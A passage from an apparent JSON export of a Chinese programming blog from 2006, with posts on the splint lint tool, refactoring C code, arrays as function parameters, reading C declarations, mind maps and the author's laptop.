表明某个flag处于关闭状态，如’-weak’；\n4、使用.splintrc环境文件\n如果不想每次使用splint的时候都手工输入一堆’+/-\u0026lt;flags\u0026gt;’，那么你可以把这些’+/-\u0026lt;flags\u0026gt;’预先写到.splintrc文件中，当splint执行的时候它会自动加上这些flags的。默认的flags设置在’/splintrc’文件中，但是如果一旦splint的当前工作路径下也有.splintrc文件，那么这个.splintrc文件中的flag设置会覆盖’/splintrc’中的flags设置，但是命令行中的flags设置是具备最高优先级的，它会覆盖前面提到的任何一个文件中的flags设置。\n5、使用Annotations\n对于’Annotations’的作用，Java程序员并不陌生，但是C程序员则对这个不是那么了解。C代码中的Annotations用来指导Splint生成恰当的代码检查报告。下面这个例子对比使用和不使用Annotations，Splint的输出的差别：\n/* testlint.c */\nvoid foo1() {\n/*@unused@*/int *p = NULL;\n}\nvoid foo2() {\nint *p = NULL;\n}\nsplint testlint.c\nSplint 3.1.1 — 28 Apr 2003\ntestlint.c: (in function foo2)\ntestlint.c:6:7: Variable p declared but not used\nA variable is declared but never used. Use /*@unused@*/ in front of\ndeclaration to suppress message. (Use -varuse to inhibit warning)\nFinished checking — 1 code warning\n可以看出没使用Annotation的函数foo2被给出Warning了。Splint的Annotations繁多，我们在平时做lint时可以多多接触。\n‘早用lint，勤用lint’，这是C专家给我们的建议。’lint-clean’也许离你并不遥远。\n[注1]\n‘lint-clean’ — 程序能够顺利通过lint程序的检查。\n","permalink":"https://tonybai.com/2006/03/31/pursue-lint-clean/","summary":"\u003cp\u003e到底需不需要编译器之外的独立的静态代码检查工具呢？这个问题’仁者见仁，智者见智’。但是有一个结论我想大家都会认可，那就是越是在开发周期早期发现的Bug，修复它所付出的代价就越小。而像lint这样的静态代码检查程序恰恰是让Bug在早期阶段’显露原型’的绝佳工具，而追求’lint-clean’[注1]境界的代码也向来是专家级程序员的嗜好。别忘了在’C专家编程’一书中曾经提到Sun OS的内核一直是保持’lint-clean’状态的，这就是榜样！还等什么？赶快学呀！^_^\u003c/p\u003e","title":"追求'lint-clean'"},{"content":"晚上下班回到寝室，照惯例拿出我心爱的本本，翻开屏幕，发现屏幕上的一层薄薄的灰尘，顿想起来该给我的本本做’基础护理’了，顺便也把尘封已久的电池拿出来充放电一次。到今天为止，我的本本已经整整陪伴我三年零15天了。三年的记忆足够让我在脑子中回放一段时间了。\n记得那是2003年的3月15日，我阳历生日后的第七天，我拿到了我的生命中的第一个’本本’，理由很简单，父母送的生日礼物呗^_^。为了它，我不知道跑过几次数码卖场，问价、侃价。当把本本拿到手那一刻自然’爱不释手’。我的本本是Acer的TravelMate230，配置在当时也不算高，不过结合我的预算和自己的需求，我觉得它是最合适的，事实证明我的选择也是没错的。当时我买笔记本不为别的，就是想不和别人抢电脑，因为我要连续的写程序。做程序员的都知道编程时需要连续的思维。自那以后，每天大学寝室都能看到我坐在床上写程序的身影。有人会问为什么坐在床上呢？没办法呀，寝室空间狭小，地面那十平米的空间早已被同寝哥们儿们的’大个子’台式机所霸占，根本就没有我的本本的容身之地。而且我还住在上铺，这就更增加了使用电脑的难度。’多亏’当时我们班班长的多功能电脑桌坏了，我就’霸占’了那个电脑桌的’顶板’，把这顶板放在枕头上，一个临时的’上铺电脑桌’诞生了！坐在床上使用本本自然难受，所以只能不停的变幻着姿势，并时不时地下床活动活动。就是在这种环境下，我一直坚持了一年，直到之后来到现在的公司实习，而我的本本也在这种环境下存活了下来，而且是’茁壮’成长^_^。虽然我的本本配置较低，显卡是Intel的，共享显存。就这样我仍然在之上玩过像’Diablo II’、’抢滩登陆’、’FIFA2004′等我比较喜欢的游戏(说实话，自己并不是游戏Fans，玩游戏纯属编程累了之后的休息)。在毕设阶段，我的本本也是功不可莫。那时候经常带着我的本本在图书馆、寝室和实验室三点一线间来来往往，本本能让我及时输入我想要的资料。\n学生时代的我的本本虽然也很忙碌，但是比起我工作以后那简直是’小巫见大巫’。毕业之后成了一名职业程序员，我的本本每天几乎是16小时开机，从早上8:30上班一直到晚上24点左右，我的本本一直在忙碌。虽然公司给配发了台式机，但是已经习惯了看液晶屏的我早已不能忍受CRT显示器的辐射了，直到现在我也一直在使用我的本本。其实本本每天受到’最大伤害’的就是它的键盘，我估计我每天要敲击成千上万次键盘吧。可我的本本重来都不抱怨，即使是在其键盘上的符号都被我磨掉的情况下，它仍然好好的工作着。令我庆幸的是到目前为止我的本本还没有一次’病例记录’，这里我可不是给Acer作广告，起码我的本本是这样的，不过在网上也看到很多人抱怨Acer的本本质量越来越差了，也许我是幸运的一个吧，让我挑中这台可爱的本本。在这里我许下一个心愿：只要我的本本能够完好的保持它的’状态’，我就会一直使用它、呵护它的，等它6岁、9岁的时候我还要发文纪念！\n电池充满电了，呵，不错，它的电力仍然那么充沛，还能挺2个小时！^_^\n","permalink":"https://tonybai.com/2006/03/30/my-laptop-3-years-old/","summary":"\u003cp\u003e晚上下班回到寝室，照惯例拿出我心爱的本本，翻开屏幕，发现屏幕上的一层薄薄的灰尘，顿想起来该给我的本本做’基础护理’了，顺便也把尘封已久的电池拿出来充放电一次。到今天为止，我的本本已经整整陪伴我三年零15天了。三年的记忆足够让我在脑子中回放一段时间了。\u003c/p\u003e","title":"我的本本3岁了"},{"content":"不瞒大家说在未听说思维导图之前，我自己就常常在废旧打印纸背面画那种’枝繁叶茂’的、很发散的需要费力才能将其中的信息串起来的’思考图’(我那时就这么叫它)。我喜欢思考，但却常常因为没有及时把自己思考出来的好想法记录下来而遗憾，因为有些灵感是’来去匆匆’的，你可以在不经意的0.1秒得到这个灵感，可是之后你再花1个小时’冥思苦想’也迸发不出来这样的想法了。现在我的’思考图’有了’大名’了，叫’思维导图’，不过伴随之而来的还有如何去画’思维导图’。习惯了’乱画思维’的我反倒感到一些不适应，不过这些理论毕竟是经过科学证明的，值得学习。而且按照一定科学的方法画思维导图可以帮助挖掘思维潜力。\n在这里不想说思维导图有什么好处，如果你感兴趣大可到网上去’搜’。我则是因为喜欢这种表达思维的方法才主动去学如何去画思维导图。我的第一感觉我的思维过程类似一个’图的遍历’过程，而且是一个’先广遍历’和’先深遍历’的结合，往往在’深入的同时’又迸发出’广度’的想法。\n画思维导图最好的工具组合就是一张白纸和一支铅笔(虽说思维导图建议最好五颜六色，但是我天生对颜色不敏感，所以只喜欢黑与白)或一面白板和一枝黑色彩笔。最原始的也是最快捷、最有效的。这也是我最喜欢的方式。不知道又没有人和我一样往往用着最先进的工具却’无米下锅’，如有的作家就喜欢白纸黑字的写作方式，他认为只有这样做才有源源不断的创作灵感，相反面对计算机屏幕和枯燥的键盘，太容易引起’思维麻木’了。在计算机上画思维导图不乏’制作精良’的工具，其中的典型代表有’开源的FreeMind和收费的MindManager，两者各有千秋，试试便知。\n很多关于思维导图的教材都提到环境和工具的重要，在什么图景世界、静、音乐的环境等，使用色彩丰富的彩色笔等。我想对于不习惯于发散思维的人这些可能很重要，但是如果一旦习惯了这种思维方式，工具因素可能就不那么重要了。不过环境因素仍然起作用，而且感觉可能不同的人适应不同的环境。我自己就感觉我的思维在一个相对自我的环境下比较容易迸发灵感，我自己亲身体会：在笔直的长马路上疾步行走会让我感到思维加速，常常会有很多新想法萌生，而其他人则未必喜欢这样。\n关于思维导图的一些教程主要以练习为主，因为本身思维导图就是一种发散的东西，非要用’规律化’的理论去约束它只能起到适得其反的作用。但是总’撒网(发散自己的思维)’也要学会’收网(整理和总结自己的思维)’, 否则就会没有收获，白想了。’撒网’需要练习，同样’收网’也许要训练，特别是当你所画的思维导图需要和别人分享时，比如一份工作计划，你不能把你的’纯思维’让大家去猜测，你需要整理出一份规整的报告，而你的思维导图则有助于你形成这样一份报告。\n按照一些理论上所说，思维导图有四大要素：关键词(右上分枝)、层次(右下分枝)、图像(左上分枝)和联想(左下分枝)，还有至关重要的一点要牢记：’始终围绕Central Topic’。至于如何去理解这些，这里不想多说，因为那不是我的成果。思维导图目前广泛应用在各种场合，如制定计划、产品分析和设计、会议记录等等，我想一切大脑能用得上场合的地方，思维导图都应该用得上^_^。\n总之，我画思维导图的原则只有四个字：’随心所欲’^_^。\n","permalink":"https://tonybai.com/2006/03/29/learn-mindmap/","summary":"\u003cp\u003e不瞒大家说在未听说思维导图之前，我自己就常常在废旧打印纸背面画那种’枝繁叶茂’的、很发散的需要费力才能将其中的信息串起来的’思考图’(我那时就这么叫它)。我喜欢思考，但却常常因为没有及时把自己思考出来的好想法记录下来而遗憾，因为有些灵感是’来去匆匆’的，你可以在不经意的0.1秒得到这个灵感，可是之后你再花1个小时’冥思苦想’也迸发不出来这样的想法了。现在我的’思考图’有了’大名’了，叫’思维导图’，不过伴随之而来的还有如何去画’思维导图’。习惯了’乱画思维’的我反倒感到一些不适应，不过这些理论毕竟是经过科学证明的，值得学习。而且按照一定科学的方法画思维导图可以帮助挖掘思维潜力。\u003c/p\u003e","title":"见识思维导图"},{"content":"所谓的重构是这样的一个过程：在不改变代码外在行为的前提下，对代码做出修改，以改进程序的内部结构。重构是一种有纪律的、经过训练的、有条不紊的程序整理方法，可以将整理过程中不小心引入错误的机率降到最低，本质上说，重构就是[在代码写好之后改进它的设计]。– Martin Fowler\n重构，一种改善代码’体质’的方法’。 — 侯捷\n重构是上进程序员每天的进行式。是一项工程而不是靠着天份挥洒的艺术。– 侯捷\n如果有人说’重构’仅仅限于Java语言或者其他面向对象的语言，那他就大错特错了。按照Martin Fowler的诠释，’重构’就是一种代码整理，而且是在保持接口功能不变的一种代码整理，这样的话每种语言都可以’重构’，也许’重构’在你平时的工作学习中已经不知不觉地发生了，只是你还没有认识到那是’重构’罢了。自从从大学毕业后我就一直在’把弄’C语言，对C语言也算是’情有独钟’了，所以自然而然的就开始探索和积累C语言的重构方法。这里个人能力毕竟有限，并不能穷尽所有方法。\n按照我的理解，重构[注1]应该是’三位一体’的，即\u0026quot;前提(或叫保证) + 理论 + 工具\u0026quot;，前提(或保证)指的是单元测试，回顾一下本篇首Martin Fowler对重构的诠释 — ‘在不改变代码行为的前提下’，而如何保证代码经过’大修’后，能保证其外在行为不变呢，只有测试；理论则是指重构的来龙去脉、理论和方法了，这也是本篇所主要关注的；至于工具，那就是重构’催化剂’，保证对大型项目重构的效率，遗憾的是至今业界仍没有一款成熟的支持C语言的重构工具，而与此相反针对像Java语言这样的面向对象语言，各厂家则是’众星捧月’，工具也不断推陈出新，其中缘由也不难理解。\nInternet上讨论C重构的资料少之又少，个人认为比较全面的是Alejandra Garrido的’CRefactory project‘，说这份资料比较全面是因为Alejandra Garrido将之分类清楚(但也许不是所有人都喜欢这样分类的，我就是其中之一)，但是这份资料不够详细，关于每条item的说明仅仅几行，而且没有例子。不过不管怎样，这份资料都是值得看的，它也许会给你提供一些思路上的提示。\n关于重构理论最权威的莫过于Martin Fowler那本’Refactoring – Improving the Design of Existing Code’了，虽然Martin青睐Java，但这并不太多影响其他’语种’的小工们从这本大师的书中汲取’思想的精华’。\n在这里我仅针对C代码中的’Bad Smell’给出自己的重构想法，之所以没有像Martin书中那样给出分类，也许是因为自己对重构的理解还不那么到位的缘故^_^，也许以后会给出像模像样、合情合理的分类，好了，下面我们就一起开始嗅嗅代码的味道吧。\n1、Duplicated Code\n重复代码自古有之，历史悠久自不必说了。Martin书中将之放在Bad Smell的第一位，足见其’Bad Enough’^_^。’Duplicated Code’将给你带来诸多不便，诸如维护更多的代码、代码修正后可能的不一致性等，这里列举三种情况来具体说明How smelly the ‘Duplicated Code’ is！\n(1) 太多的128、256…\n[e.g.]\nvoid func1(…) {\nchar path[128];\n…\n}\nvoid func2(…) {\nchar path[256];\n…\n}\n[solution \u0026amp; notice]\n#define MAX_PATH 256\nvoid func1(…) {\nchar path[MAX_PATH];\n…\n}\nvoid func2(…) {\nchar path[MAX_PATH];\n…\n}\n避免在程序中多次出现magic number，特别是当多个magic number重复时，坏的味道就散发出来了，我们可以定义一些常量符号还替换这些magic number。\n(2) 一山难容二虎\n[e.g.1]\nvoid func1() {\ntime_t in_tm;\ntime_t out_tm;\nchar in_str[100];\nchar out_str[100];\nstruct tm *ptm = NULL;\nmemset(in_str, 0, sizeof(in_str));\nmemset(out_str, 0, sizeof(out_str));\nin_tm = time(NULL);\nout_tm = time(NULL);\nptm = localtime((time_t*)\u0026amp;(in_tm));\nsprintf(in_str, \u0026ldquo;%d%02d%02d%02d%02d%02d\u0026rdquo;,\nptm-\u0026gt;tm_year+1900,\nptm-\u0026gt;tm_mon +1,\nptm-\u0026gt;tm_mday,\nptm-\u0026gt;tm_hour,\nptm-\u0026gt;tm_min,\nptm-\u0026gt;tm_sec);\nptm = localtime((time_t*)\u0026amp;(out_tm));\nsprintf(out_str, \u0026ldquo;%d%02d%02d%02d%02d%02d\u0026rdquo;,\nptm-\u0026gt;tm_year+1900,\nptm-\u0026gt;tm_mon +1,\nptm-\u0026gt;tm_mday,\nptm-\u0026gt;tm_hour,\nptm-\u0026gt;tm_min,\nptm-\u0026gt;tm_sec);\n}\n[e.g.2]\n//in test.c\nvoid func1() {\ntime_t in_tm;\nchar in_str[100];\nstruct tm *ptm = NULL;\nmemset(in_str, 0, sizeof(in_str));\nin_tm = time(NULL);\nptm = localtime((time_t*)\u0026amp;(in_tm));\nsprintf(in_str, \u0026ldquo;%d%02d%02d%02d%02d%02d\u0026rdquo;,\nptm-\u0026gt;tm_year+1900,\nptm-\u0026gt;tm_mon +1,\nptm-\u0026gt;tm_mday,\nptm-\u0026gt;tm_hour,\nptm-\u0026gt;tm_min,\nptm-\u0026gt;tm_sec);\n}\n// in test.c, too\nvoid func2() {\ntime_t out_tm;\nchar out_str[100];\nstruct tm *ptm = NULL;\nmemset(out_str, 0, sizeof(out_str));\nout_tm = time(NULL);\nptm = localtime((time_t*)\u0026amp;(out_tm));\nsprintf(out_str, \u0026ldquo;%d%02d%02d%02d%02d%02d\u0026rdquo;,\nptm-\u0026gt;tm_year+1900,\nptm-\u0026gt;tm_mon +1,\nptm-\u0026gt;tm_mday,\nptm-\u0026gt;tm_hour,\nptm-\u0026gt;tm_min,\nptm-\u0026gt;tm_sec);\n}\n[solution \u0026amp; notice]\n在一个函数中存在功能相同的’代码群落’(如e.g.1)或者是在同一个源文件中在不同的函数实现中存在功能相同的’代码群落’(如e.g.2)，这是典型的’Duplicated Code’，解决方法很简单 — 析出函数(Extract Function)或者析出宏(Extract Macro, 这可是C语言的特色哟)。如解决上面两个例子中的问题我们便可以这么做：\na) 析出函数time2str\nvoid time2str(char *s, const time_t t) {\ntime_t tmp = t;\nstruct tm *ptm = NULL;\nptm = localtime((time_t*)\u0026amp;(tmp));\nsprintf(s, \u0026ldquo;%d%02d%02d%02d%02d%02d\u0026rdquo;,\nptm-\u0026gt;tm_year+1900,\nptm-\u0026gt;tm_mon +1,\nptm-\u0026gt;tm_mday,\nptm-\u0026gt;tm_hour,\nptm-\u0026gt;tm_min,\nptm-\u0026gt;tm_sec);\n}\nb) 析出宏TIME_2_STR\n#define TIME_2_STR(s, t) do { \\\nstruct tm *ptm = localtime((time_t*)\u0026amp;t); \\\nsprintf(s, \u0026ldquo;%d%02d%02d%02d%02d%02d\u0026rdquo;, \\\nptm-\u0026gt;tm_year+1900, \\\nptm-\u0026gt;tm_mon +1, \\\nptm-\u0026gt;tm_mday, \\\nptm-\u0026gt;tm_hour, \\\nptm-\u0026gt;tm_min, \\\nptm-\u0026gt;tm_sec); \\\n} while(0)\n用time2str或TIME_2_STR替换掉那些重复的代码后，就会发现原来世界可以这么简洁！\n(3) 你中有我，我中有你\n[e.g.]\n/* foo1.c in project foo */\nstatic int foo1_mkdir(const char *path) {\n…\n}\n/* foo2.c in project foo */\nstatic int foo2_mkdir(const char *path) {\n…\n}\n[solution \u0026amp; notice]\n/* foo_common.c */\nstatic int foo_mkdir(const char *path) {\n…\n}\n/* foo1.c */\n#include \u0026ldquo;foo_common.h\u0026rdquo;\n/* foo2.c */\n#include \u0026ldquo;foo_common.h\u0026rdquo;\n在较大的工程中，多个程序员并行工作，不可避免的在各自的代码中实现了相同功能的一些方法，这就是’Bad Smell’，这样程序员要维护两份实现相同功能的代码，而且当fix bug时很有可能漏掉更新另一份。这种的散落在不同源文件中重复代码可以采用’Pull Up Method’方法将这个功能接口提取到一个公共的文件中去实现，而原先的两个文件只需包含接口头文件即可。\n2、Long Function/Procedure/Method\n事实证明越长的Function，理解起来越难，维护难度也越大。拆分函数意味着要把代码中一个功能相对独立的’代码群落’独立出去，这样其实带来了很多好处。首先你又给了自己一次重新阐述代码意图的机会，你可以起一个恰当的名字来表述这段被独立出去的’代码群落’的’工作性质’；其次一旦这段’代码群落’被独立出去了，它就可以被其他函数逻辑所共享；再者独立出去的’代码群落’与原先的代码的关系照比之前已经不那么紧密，所以一旦’代码群落’里发生什么’叛乱’，其不会蔓延到原先的代码中。在Martin书中曾专门引用Kent Beck的一段关于’Indirection and Refactoring’的论述来说明’拆分’的利弊，而在整个重构的理论中’拆分’的确也占据着’主流’地位。这里就不举例说明了，拆分也是我们平时经常做的事情，不是吗！:)\n3、Long Parameter List\n长长的参数列表虽然不是致命的，但却是最最不顺眼的。想想当你去调用一个接口时发现它有10个参数，为完成这个调用你需要来来回回看N遍那个接口的原型还不见得传入的实参全部符合原型要求。实际情况就是这样，而且遭遇这种情况的时候还是很多的。怎么办？重构！如何做？看下面例子。\n[e.g]\nint x_add_book(const char *title,\nconst char *author,\nconst char *isbn,\nconst char *pub_date,\nint pages,\nint price,\nconst char *publisher,\nconst char *pub_addr,\nconst char *pub_homepage);\n[solution \u0026amp; notice]\n哇，添加一本书要这么参数亚，晕倒！让它少些参数吧 — 合并！这个例子中的参数之间有相关性，可以尝试组合一下。组合完可能是这样的：\nstruct pub_info {\nchar name[MAX_NAME_LEN];\nchar addr[MAX_STR_LEN];\nchar homepage[MAX_STR_LEN];\n};\nstruct book_info {\nchar title[MAX_NAME_LEN];\nchar author[MAX_NAME_LEN];\nchar isbn[MAX_STR_LEN];\nchar pub_date[MAX_STR_LEN];\nint pages;\nint price;\nstruct pub_info pub;\n};\nint x_add_book(const struct book_info *book);\n重构完了。不知道大家发现这样修改的好处没有，比如现在我想在添加一本书时，再加上这本书的位置信息，如放在那个书架上，这样如果我们使用e.g.中的做法，我们需要修改接口；而使用重构之后的方式我们只需要修改book_info结构体，x_add_book接口则无需修改！这也是增加一个间接层的好处之一！\n那么是不是所有的长参数列表的函数都可以这么重构呢？有些时候参数列表中的参数都是毫无联系的，如果硬要把他们’组合’在一起反倒不顺眼，这也符合’强扭的瓜不甜’的道理:) 这时候可以考虑某个参数是否可以调用其他函数得到该值，如果可以的话，我们就可以在删除该参数而改在函数体中调用其他接口获取这个值，这种方法类似于Martin书中的’Replace Parameter with Method’；尽量不要用全局变量来代替某一参数，过多的全局变量也是Bad Smell！\n如果还不行的话，没办法，保留这一长参数列表的接口，千万不要为了’哨子’而付出太多的代价！\n4、Comments\n我们不是反对注释，注释是很好的增强代码可读性和可维护性的手段，而且注释有时会帮助你发现代码中的味道！想象一下我们的注释一般会出现在什么样的位置呢？如下图：\n/*\n* 注释1\n*/\nreturn_type func_name(params list…) {\n/*\n* 注释2\n*/\n…\n/*\n* 注释3\n*/\n…’代码群落’…\n}\n一般我们在’注释1′的位置描述函数的功能，有时候我们发现这段注释描述比函数名更加清楚，这也是一个不好的味道，这时我们可以使用’Rename Method’来重构之；在注释2的位置我们可能会描述一些’precondition’，这里不妨用’Introduce Assertion’来替换掉这些注释；注释3会详尽介绍’代码群落’干的是什么活，仔细考量，看看能否将这段’代码群落’用’Extract Method’方法析出，而这段注释恰恰可以为析出后的函数作命名之用。另外’Rename Method’和’Introduce Assertion’两种重构技巧较简单，望文即可生义，自然无需多说！\n5、其他\nAlejandra Garrido的’CRefactory project’中的一些条目还是对我很有启发性的，这里仅列出我认为必要的。\n(1) contract variable scope\n我将之理解为：’约束变量的作用范围’：一个在特定作用范围内定义的变量仅仅被该范围内的一个inner scope中的代码所使用，我们大可把这个变量声明移到这个inner scope中。\n(2) Replace expression with variable\n这其实也是个’Duplicated Code’问题，只是重复的’代码群落’是一个expression，如 (i \u0026lt; 10) ? 1 : 0条件表达式等，这样的话我们把它赋值给一个变量，然后在以后使用这个变量即可。\n(3) Convert global variable into parameter\n对于这个条目我们可以举个例子：\n[e.g]\nint g_cnt = 1;\nvoid fun1() {\nif (g_cnt \u0026gt; 10) {\ng_cnt = 1;\n} else {\ng_cnt++;\n}\n}\nvoid func2() { /\u0026gt; g_cnt += 3;\n}\nvoid func() {\nif (g_cnt == 2) {\nfunc1();\n} else {\nfunc2();\n}\n}\n[solution \u0026amp; notice]\n在这个例子中func、func1和func2都对全局变量g_cnt进行了访问，并且都有权对g_cnt进行修改，而实际func1和func2的设计意图可能就是func的辅助函数，负责对func需要操作的变量进行修改，而不一定都需要访问全局变量，这时我们可以这样修改：\nint g_cnt = 1;\nvoid fun1(int *cnt) {\nif (*cnt \u0026gt; 10) {\n(*cnt) = 1;\n} else {\n(*cnt)++;\n}\n}\nvoid func2(int *cnt) {\n(*cnt) += 3;\n}\nvoid func(int *cnt) {\nif (*cnt == 2) {\nfunc1(cnt);\n} else {\nfunc2(cnt);\n}\n}\nfunc(\u0026amp;g_cnt);\n感觉这个条目的目的就是尽量减少有权访问全局变量的访问点个数。\nOK! C语言并不复杂，所以重构的技巧、代码的smell也不如面向对象语言那么多，呵呵，这里我就想到这么多了！最后别忘了重构仅仅是一种有计划有规则的’代码整理’，它并不是那种不可逾越的技术高峰。在积累了一段时间的重构’经验’后，重构完全可能会成为你开发过程中的一个不可缺少的习惯了，而养成习惯的必经之路就是持续不断的练习、积累和总结！让自己从此走上’C语言重构之路’吧。\n[注1]\n关于重构重要性、重构时机等话题在Martin书中有详尽说明！\n","permalink":"https://tonybai.com/2006/03/28/c-refactoring/","summary":"\u003cp\u003e\u003cem\u003e所谓的\u003ca href=\"http://www.refactoring.com/\"\u003e重构\u003c/a\u003e是这样的一个过程：在不改变代码外在行为的前提下，对代码做出修改，以改进程序的内部结构。重构是一种有纪律的、经过训练的、有条不紊的程序整理方法，可以将整理过程中不小心引入错误的机率降到最低，本质上说，重构就是[在代码写好之后改进它的设计]。\u003c/em\u003e– \u003ca href=\"http://www.martinfowler.com/\"\u003eMartin Fowler\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e重构，一种改善代码’体质’的方法’。\u003c/em\u003e — \u003ca href=\"http://www.jjhou.com\"\u003e侯捷\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e重构是上进程序员每天的进行式。是一项工程而不是靠着天份挥洒的艺术。\u003c/em\u003e– 侯捷\u003c/p\u003e\n\u003cp\u003e如果有人说’重构’仅仅限于Java语言或者其他面向对象的语言，那他就大错特错了。按照Martin Fowler的诠释，’重构’就是一种代码整理，而且是在保持接口功能不变的一种代码整理，这样的话每种语言都可以’重构’，也许’重构’在你平时的工作学习中已经不知不觉地发生了，只是你还没有认识到那是’重构’罢了。自从从大学毕业后我就一直在’把弄’C语言，对C语言也算是’情有独钟’了，所以自然而然的就开始探索和积累C语言的重构方法。这里个人能力毕竟有限，并不能穷尽所有方法。\u003c/p\u003e","title":"C语言也重构"},{"content":"C语言中的数组和指针总保持着\u0026rsquo;千丝万缕\u0026rsquo;的联系，这里仅针对数组作为函数实参时的情况做些说明^_^。\nC语言中的数组可分为一维数组和多维数组两类，而多维数组中又以二维数组最为常见。这里也仅针对这一维数组和二维数组作简要说明。\n看过\u0026rsquo;高质量C++编程指南\u0026rsquo;的人可能都知道书中有这样一句\u0026rsquo;注意当数组作为函数的参数进行传递时，该数组自动退化为同类型的指针\u0026rsquo;，这句话针对一维数组固然是正确的，但是对于多维数组，这显然不完全正确。但是如果你说C语言中的数组默认就指一维数组，那么这也就过得去了。C语言之所以把数组形参当作指针是出于效率考虑，试想如果把一个数组全部拷贝这样势必带来性能上的损失，如果数组很大的话，这种完全拷贝的方法就是不能忍受的了。所以目前无论你在函数声明中像\u0026rsquo;void func1(char a[])\u0026lsquo;这样写，还是像\u0026rsquo;void func1(char *a)\u0026rsquo;，编译器都会把它看成后者的形式，对于一维数组，显然这没什么可说的，但是对于二维数组来说，其中还有不少值得商榷的地方。\nC语言中的二维数组可以看作为\u0026rsquo;数组的数组\u0026rsquo;，而且其采用\u0026rsquo;行主序\u0026rsquo;，即\u0026rsquo;最右边的下标\u0026rsquo;是最先变化的。由于指针和数组的关系导致，二维数组可以广义表示为多种形式：\n(1) char a[m][n] — 标准形式；\n(2) char *p[n] — 指针数组形式；\n(3) char (*p)[n] — 数组(行)指针的形式\n(4) char **p — 指针的指针的形式\n这些形式虽然都能表示二维数组，但是它们并不等价，这也给参数原型设计带来一定的不便，不过二维数组作为参数后的转化还是有原则可循的，那就是：\u0026lsquo;数组的数组\u0026rsquo;被转换为\u0026rsquo;数组的指针\u0026rsquo;，下面就逐一说说每种形式对应的函数参数原型，通过例子认真体会一番：\n(1) char a[m][n] — void func(char (*p)[]); 二维数组退化为数组的指针，关于如何声明数组的指针，可以参见\u0026quot;理解C复杂声明之\u0026rsquo;优先级规则\u0026rsquo;\u0026ldquo;和\u0026rdquo;C复杂声明解析\u0026ldquo;两篇文章；\n(2) char *p[n] — void func(char **p); 这个是一个指针数组，我们只需要取地址即可；\n(3) char (*p)[n] — void func(char (*p)[]); 这个本身就是一个数组指针，原封不动即可；\n(4) char **p — void func(char **p); 对于指针的指针类型，同样原封不动。\n三维以上的数组不常用，用起来也较复杂，这里不作说明。\n","permalink":"https://tonybai.com/2006/03/27/when-array-passed-as-arguments/","summary":"\u003cp\u003eC语言中的数组和指针总保持着\u0026rsquo;千丝万缕\u0026rsquo;的联系，这里仅针对数组作为函数实参时的情况做些说明^_^。\u003c/p\u003e\n\u003cp\u003eC语言中的数组可分为一维数组和多维数组两类，而多维数组中又以二维数组最为常见。这里也仅针对这一维数组和二维数组作简要说明。\u003c/p\u003e","title":"当数组作参数时"},{"content":"闲暇时翻阅\u0026rsquo;C专家编程\u0026rsquo;，再次看到对C语言变量声明的理解一节，遂想起我曾经写过的那篇利用\u0026rsquo;right-left\u0026rsquo;规则分析复杂的C语言变量声明的文章\u0026rsquo;C复杂声明解析\u0026rsquo;，发现其中的例子的对比性不够强，所以决定再用一篇短文来再阐述。\n至于\u0026rsquo;right-left\u0026rsquo;规则这里就不再重述了。这里想重点分析一组对比\u0026rsquo;鲜明\u0026rsquo;的例子：分析int *p[20]和int (*p)[20]。\n闲话就不多说了，我们看下面对这两个C语言声明的分析吧：\n例子1：int *p[20];\n1) 找到标识符：p，读作：“p是…”；\n2) 向右看：发现一“[]”，然后遇到右边声明结尾，读作：“p是…的数组”；\n3) 向左看：发现一“*”， 读作：“p是指向…的指针的数组”；\n4) 继续向左看：没有发现0.中定义的符号，则分析结束，读作：“p是指向int类型的指针的数组”，再详细些“p是指向int类型的指针的数组，该指针数组大小为20”。\n例子2：int (*p)[20];\n1) 找到标识符：p，读作：“p是…”；\n2) 向右看：没发现完整的\u0026rsquo;[]\u0026lsquo;或者\u0026rsquo;()\u0026rsquo;，而是一个\u0026rsquo;)\u0026rsquo;，这时停止向右看；\n3) 向左看：发现一“*”，然后继续向左看，碰到一个\u0026rsquo;(\u0026rsquo;，这次左看结束，读作：“p是一个指向…的指针”；\n4) 向右看：发现一个\u0026rsquo;[]\u0026rsquo;，并且右部声明就此结束，我们读作：“p是一个指向…的数组的指针”；\n5) 向左看：没有发现0.中定义的符号，则分析结束，读作：“p是一个指向int类型的数组的指针”，再详细些“p是一个指向int类型的数组的指针，该int类型数组大小为20”。\n其实通过这组对比鲜明的例子我们可以更好的理解\u0026rsquo;right-left\u0026rsquo;规则，更好的理解C声明的规律。\n","permalink":"https://tonybai.com/2006/03/26/another-example-for-c-right-left-rule/","summary":"\u003cp\u003e闲暇时翻阅\u0026rsquo;C专家编程\u0026rsquo;，再次看到对C语言变量声明的理解一节，遂想起我曾经写过的那篇利用\u0026rsquo;right-left\u0026rsquo;规则分析复杂的C语言变量声明的文章\u0026rsquo;\u003ca href=\"http://tonybai.com/2005/08/09/an-explanation-of-complex-c-declaration/\"\u003eC复杂声明解析\u003c/a\u003e\u0026rsquo;，发现其中的例子的对比性不够强，所以决定再用一篇短文来再阐述。\u003c/p\u003e","title":"'right-left'规则再举例"},{"content":"第一次看《C专家编程》一书时关于其采用的\u0026rsquo;优先级规则\u0026rsquo;分析C复杂声明时看得很糊涂，在理解\u0026rsquo;right-left\u0026rsquo;规则分析C复杂声明后，再回过头来看\u0026rsquo;优先级规则\u0026rsquo;，居然发现它们的异曲同工之妙^_^。\n其实\u0026rsquo;优先级规则\u0026rsquo;的分析过程极其类似\u0026rsquo;right-left\u0026rsquo;规则，下面首先摘录\u0026rsquo;优先级规则\u0026rsquo;的\u0026rsquo;口诀\u0026rsquo;，然后再\u0026rsquo;一招一式\u0026rsquo;的细致讲解^_^。\n[优先级规则\u0026rsquo;口诀\u0026rsquo;]\nA 声明从它的名字开始读取，然后按照优先级顺序依次读取。\nB 优先级从高到低依次是：\nB. 1 声明中被括号括起来的那部分\nB. 2 后缀操作符：\n括号() 表示这是个函数，而\n方括号[]表示这是个数组。\nB. 3 前缀操作符：星号*表示\u0026rsquo;指向…的指针\u0026rsquo;。\nC 如果const和(或)volatile关键字的后面紧跟类型说明符(如int, long等)，那么它作用于类型说明符(说明是常量数据)。在其他情况下，const和(或)volatile关键字作用于其左边紧邻的指针星号(说明是常量指针)。\n[一招一式练口诀]\n其实\u0026rsquo;优先级规则\u0026rsquo;对分析过程中的界限的说明不是很好，而其分析界限又恰恰和\u0026rsquo;right-left\u0026rsquo;规则是一致的。\n例子1\nint (*p)[20];\n(1) 我们从名字p开始；\n(2) 